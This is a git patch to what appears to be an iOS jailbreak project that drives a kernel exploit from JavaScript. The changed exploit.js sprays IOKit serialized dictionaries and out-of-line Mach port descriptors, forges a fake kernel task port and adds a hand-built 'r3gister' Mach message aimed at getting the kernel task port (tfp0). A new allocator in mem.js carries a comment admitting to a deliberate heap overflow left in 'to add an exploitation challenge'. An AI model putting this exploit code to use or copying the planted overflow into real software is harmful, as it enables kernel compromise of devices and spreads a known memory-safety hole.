From 3df21d6c8d6c978cedaac23dbbf4c106dee9120f Mon Sep 17 00:00:00 2001 From: spv420 Date: Wed, 13 Jul 2022 20:32:27 -0400 Subject: lol r3gister --- src/gen/main.c | 6 +-- src/js/kexp/exploit.js | 126 ++++++++++++++++++++++++++++++---------------- src/js/lib/myutils.js | 3 +- src/js/primitives/call.js | 6 +-- src/js/primitives/mem.js | 33 +++++++++++- 5 files changed, 123 insertions(+), 51 deletions(-) (limited to 'src') diff --git a/src/gen/main.c b/src/gen/main.c index 3b95046..0acc02b 100644 --- a/src/gen/main.c +++ b/src/gen/main.c @@ -206,10 +206,10 @@ int main(int argc, fprintf(stderr, "0x%x\n", RTLD_DEFAULT); - uint32_t stack_base = 0x1c7718; // my shell setup -// uint32_t stack_base = 0x1c7708; // my shell setup +// uint32_t stack_base = 0x1c7718; // my shell setup + uint32_t stack_base = 0x1c7708; // my shell setup // uint32_t stack_base = 0x1c7728; // my shell setup -// uint32_t stack_base = 0x1c7c88; // my 4s shell setup +// uint32_t stack_base = 0x1c77a8 ; // my 4s shell setup // uint32_t stack_base = 0x1c2e48; // my lldb // uint32_t stack_base = 0x1c7d68; // btserver env // uint32_t stack_base = 0x1c7dd8; // wifiFirmwareLoader env diff --git a/src/js/kexp/exploit.js b/src/js/kexp/exploit.js index c667dd2..715535d 100755 --- a/src/js/kexp/exploit.js +++ b/src/js/kexp/exploit.js @@ -61,11 +61,11 @@ var MIG_MAX = 0x1000; var NDR_record = 0x36ebf00c; function spray_data(mem, size, num, portptr) { - var err = malloc(4); + var err = shit_heap(4); var ret = 0; - var master = malloc(4); + var master = shit_heap(4); host_get_io_master(mach_host_self(), master); - var dict = malloc(MIG_MAX); + var dict = shit_heap(MIG_MAX); var __cnt = 0; write_u32(dict + (__cnt << 2), kOSSerializeMagic); __cnt++; write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeDictionary | 1); __cnt++; @@ -95,16 +95,16 @@ function spray_data(mem, size, num, portptr) { } function copyinPort(kport, cnt) { - var err = malloc(4); + var err = shit_heap(4); var ret = 0; var self = task_self; var service = MACH_PORT_NULL; - var client = malloc(4); - var it = malloc(4); + var client = shit_heap(4); + var it = shit_heap(4); var o = MACH_PORT_NULL; - var data = malloc(4); - var master = malloc(4); - fakeportData = malloc(4); + var data = shit_heap(4); + var master = shit_heap(4); + fakeportData = shit_heap(4); var host_self = mach_host_self(); host_get_io_master(mach_host_self(), master); ret = spray_data(NULL, 0, 5, data); @@ -123,7 +123,7 @@ function copyinPort(kport, cnt) { write_buf(kpbuf + (i * kport_size), read_buf(kport + (i * kport_size), kport_size), kport_size); } - var err = malloc(4); + var err = shit_heap(4); var xmls = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1768515945"; var xml = sptr(xmls); ret = io_service_open_extended(service, self, 0, 0, 1, xml, xmls.length + 1, err, client); @@ -138,8 +138,8 @@ function copyinPort(kport, cnt) { var o = IOIteratorNext(read_u32(it)); while (o != MACH_PORT_NULL && !found) { - var buf = malloc(16 * 4); - var size = malloc(4); + var buf = shit_heap(16 * 4); + var size = shit_heap(4); write_u32(size, 16 * 4); ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", buf, size); printf("%d %s\n", ret, mach_error_string(ret)); @@ -172,9 +172,9 @@ function prepare_ptr(dict, size, ptr, num) { } function spray(dict, size, port) { - var err = malloc(4); + var err = shit_heap(4); var ret = 0; - var master = malloc(4); + var master = shit_heap(4); host_get_io_master(mach_host_self(), master); io_service_add_notification_ool(master, "IOServiceTerminate", dict, size, MACH_PORT_NULL, NULL, 0, err, port); @@ -188,14 +188,17 @@ function spray(dict, size, port) { var kp = 0; function spray_ports(number_port_descs) { - printf("spray_ports %d\n", number_port_descs); if (kp == 0) { - kp = malloc(4); + kp = shit_heap(4); + mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, kp); + mach_port_insert_right(task_self, read_u32(kp), read_u32(kp), MACH_MSG_TYPE_MAKE_SEND); + } else if (read_u32(kp) == 0) { + kp = shit_heap(4); mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, kp); mach_port_insert_right(task_self, read_u32(kp), read_u32(kp), MACH_MSG_TYPE_MAKE_SEND); } - var mp = malloc(4); + var mp = shit_heap(4); mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, mp); mach_port_insert_right(task_self, read_u32(mp), read_u32(mp), MACH_MSG_TYPE_MAKE_SEND); @@ -205,7 +208,7 @@ function spray_ports(number_port_descs) { // printf("%d (%s)\n", ret_, mach_error_string(ret_)); var ret = read_u32(mp); - free(mp); + shit_heap_free(mp); return ret; } @@ -231,19 +234,21 @@ function fast_array_mul(arr, n) { } function send_ports(target, payload, num, number_port_descs) { - var init_port_set = malloc(num * 4); + var init_port_set = shit_heap(num * 4); for (var i = 0; i < num; i++) { write_u32(init_port_set + (i << 2), payload); } - // var buf = malloc(0x1c + (number_port_descs * 0xc * 8)); + // var buf = shit_heap(0x1c + (number_port_descs * 0xc * 8)); // write_u32(buf + req_msgh_body_msgh_descriptor_count, number_port_descs); -// var buf = new Uint32Array((0x1c + (3 * number_port_descs)) / 4); +// var buf = new Uint32Array((0x1c + (3 * number_port_descs); - large_buf[req_msgh_body_msgh_descriptor_count / 4] = number_port_descs; +// write_u32(number_port_descs); + + large_buf[req_msgh_body_msgh_descriptor_count >> 2] = number_port_descs; var tmp = ((19 << 16) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 24)); @@ -267,36 +272,57 @@ function send_ports(target, payload, num, number_port_descs) { } function release_port_ptrs(port) { - var req = malloc(0x1c + (5 * 0xc) + 0x8); - for (var i = 0; i < (0x1c + (5 * 0xc) + 0x8); i += 4) { - write_u32(req + i, 0x0); - } - printf("%s\n", hexdump(read_buf(req, 0x1c + (5 * 0xc) + 0x8), 8, 2, req, 8, "0")); + var req = shit_heap(0x1c + (5 * 0xc) + 0x8); +// printf("%s\n", hexdump(read_buf(req, 0x1c + (5 * 0xc) + 0x8), 8, 2, req, 8, "0")); var ret = mach_msg(req, MACH_RCV_MSG, 0, (0x1c + (5 * 0xc) + 0x8), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); - if (ret != KERN_SUCCESS) { + if (ret != KERN_SUCCESS) { printf("mach_recv %d %s\n", ret, mach_error_string(ret)); } - free(req); + shit_heap_free(req); +} + +function r3gister(task, init_port_set, real_count, fake_count) { + var mess = shit_heap(0x1000); + var InP = mess; + var OutP = mess; + + write_u32(InP + 0x18, 1); + write_u32(InP + 0x1c, init_port_set); + write_u32(InP + 0x20, real_count); + write_u32(InP + 0x24, ((19 << 16) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 24))); + write_u32(InP + 0x28, read_u32(NDR_record + get_dyld_shc_slide() + 0x0)); + write_u32(InP + 0x2c, read_u32(NDR_record + get_dyld_shc_slide() + 0x4)); + write_u32(InP + 0x30, fake_count); + write_u32(InP + 0x0, 0x80001513); + write_u32(InP + 0x8, task); + write_u32(InP + 0xc, mig_get_reply_port()); + write_u32(InP + 0x14, 3403); + + var ret = mach_msg(InP, 0x3, 0x34, 0x2c, read_u32(InP + 0xc), MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + if (ret == KERN_SUCCESS) { + ret = read_u32(OutP + 0x24); + } + return ret; } function get_kernel_task() { var ret = 0; var tfp0 = 0; - sanity_port = malloc(4); + sanity_port = shit_heap(4); task_self = mach_task_self(); mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, sanity_port); mach_port_insert_right(task_self, read_u32(sanity_port), read_u32(sanity_port), MACH_MSG_TYPE_MAKE_SEND); - limits = malloc(4); + limits = shit_heap(4); write_u32(limits, 1000); mach_port_set_attributes(task_self, read_u32(sanity_port), MACH_PORT_LIMITS_INFO, limits, MACH_PORT_LIMITS_INFO_COUNT); printf("starting exploit\n"); - var data = malloc(16); - var kport = malloc(kport_size * 2); + var data = shit_heap(16); + var kport = shit_heap(kport_size * 2); var ptr = kport + kport_size; // maybe + 1? iirc adding 1 to a pointer adds sizeof(type) unless it's void or something write_u32(kport + kport_ip_bits4, 0x80000002); // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK write_u32(kport + kport_ip_references4, 100); @@ -305,14 +331,14 @@ function get_kernel_task() { write_u32(kport + kport_ip_receiver4, 0x12345678); // dummy write_u32(kport + kport_ip_srights4, 99); - var big_buf = malloc(MIG_MAX); - var small_buf = malloc(MIG_MAX); + var big_buf = shit_heap(MIG_MAX); + var small_buf = shit_heap(MIG_MAX); - var big_size = malloc(4); - var small_size = malloc(4); + var big_size = shit_heap(4); + var small_size = shit_heap(4); - var fp = malloc(PORTS_NUM * 4); - var postSpray = malloc(4); + var fp = shit_heap(PORTS_NUM * 4); + var postSpray = shit_heap(4); usleep(10000); sched_yield(); @@ -325,22 +351,36 @@ function get_kernel_task() { prepare_ptr(big_buf, big_size, kptr, 256); prepare_ptr(small_buf, small_size, kptr, 32); - var dummy = malloc(4); + var dummy = shit_heap(4); for (var i = 0; i < PORTS_NUM_PRESPRAY; i++) { spray(big_buf, big_size, dummy); } - var dummy = malloc(4); + var dummy = shit_heap(4); for (var i = 0; i < PORTS_NUM; i++) { - write_u32(fp + (i << 2), spray_ports(i)); +// for (var i = 0; i < 8; i++) { + if (i % 4 == 0) { + printf("spray_ports %d\n", i); + } + write_u32(fp + (i << 2), spray_ports(1)); spray(small_buf, small_size, dummy); } for (var i = 0; i < PORTS_NUM; i++) { +// for (var i = 0; i < 8; i++) { release_port_ptrs(read_u32(fp + (i << 2))); } + var arrmpt = shit_heap(8); + write_u32(arrmpt, 0); + write_u32(arrmpt + 4, 0); + var ret__ = r3gister(mach_task_self(), arrmpt, 2, 3); + printf("%d %s", ret__, mach_error_string(ret__)); + printf("r3gister done\n"); + + + printf("get lucky\n"); return tfp0; -} \ No newline at end of file +} diff --git a/src/js/lib/myutils.js b/src/js/lib/myutils.js index 89860f8..71777f9 100755 --- a/src/js/lib/myutils.js +++ b/src/js/lib/myutils.js @@ -121,4 +121,5 @@ var dlopen = scall_wrapper("dlopen"); var dlsym = scall_wrapper("dlsym"); var CFDictionaryCreateMutable = scall_wrapper("CFDictionaryCreateMutable"); var CFDictionarySetValue = scall_wrapper("CFDictionarySetValue"); -var CFNumberCreate = scall_wrapper("CFNumberCreate"); \ No newline at end of file +var CFNumberCreate = scall_wrapper("CFNumberCreate"); +var mig_get_reply_port = scall_wrapper("mig_get_reply_port"); \ No newline at end of file diff --git a/src/js/primitives/call.js b/src/js/primitives/call.js index 6eaa607..dfd3077 100644 --- a/src/js/primitives/call.js +++ b/src/js/primitives/call.js @@ -310,7 +310,7 @@ function callnarg() { /* * r9 */ - write_u32(thread_state + (11 << 2), 0x1337); +// write_u32(thread_state + (11 << 2), 0x1337); /* * stack @@ -356,7 +356,7 @@ function callnarg() { * if the pc is in (resolver, resolver + 8), suspend the thread * (to not spin endlessly), read r0 and return */ - if (((read_u32(thread_state + (15 << 2)) == (__stack_chk_fail_resolver + dyld_shc_slide)))) { + if (((read_u32(thread_state + (15 << 2)) >= (__stack_chk_fail_resolver + dyld_shc_slide))) && ((read_u32(thread_state + (15 << 2)) < (__stack_chk_fail_resolver + dyld_shc_slide + 8)))) { calls4arg("thread_suspend", rth, 0, 0, 0); return read_u32(thread_state); } @@ -416,7 +416,7 @@ function scall() { for (var i = 0; i < count_to_me; i++) { args_to_pass.push(0); } - return call4arg.apply(this, args_to_pass) + return call4arg.apply(this, args_to_pass); } } diff --git a/src/js/primitives/mem.js b/src/js/primitives/mem.js index 6e21fb0..b5078eb 100644 --- a/src/js/primitives/mem.js +++ b/src/js/primitives/mem.js @@ -257,6 +257,37 @@ function _sptr(s) { return global_sptr_addy - s.length; } + +/* + * _sptr is meant to give you a pointer to a specified string + * remember your nul's! + */ +function shit_heap(v) { + if ((sptr_len + v) >= sptr_size) { + /* + * expand sptr heap if it's too small + * this will technically fail if the string is over 1MB, and will then + * cause a heap overflow, but eh whatever + * + * sometimes it's fun to include esoteric bugs that are unlikely to + * cause real harm, to add an exploitation challenge. :P + */ + var dlsym_addy = read_u32(reserve_addr + 24 + slid); + var shc_slide = read_u32(reserve_addr + 20 + slid); + write_str(0x150000, "realloc\0"); + sptr_size += 0x100000; + var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x150000, 0, 0); + global_sptr_addy = call4arg(addy, global_sptr_addy, sptr_size, 0, 0); + } +// write_str(global_sptr_addy, s); + global_sptr_addy += v; + return global_sptr_addy - v; +} + +function shit_heap_free(v) { + return; +} + /* * sptr but with nul */ @@ -310,4 +341,4 @@ function setup_fancy_rw() { fancy_rw = true; printf("%08x\n", u8x4_to_u32([parent[0x5000], parent[0x5001], parent[0x5002], parent[0x5003]])); -} \ No newline at end of file +} -- cgit v1.2.3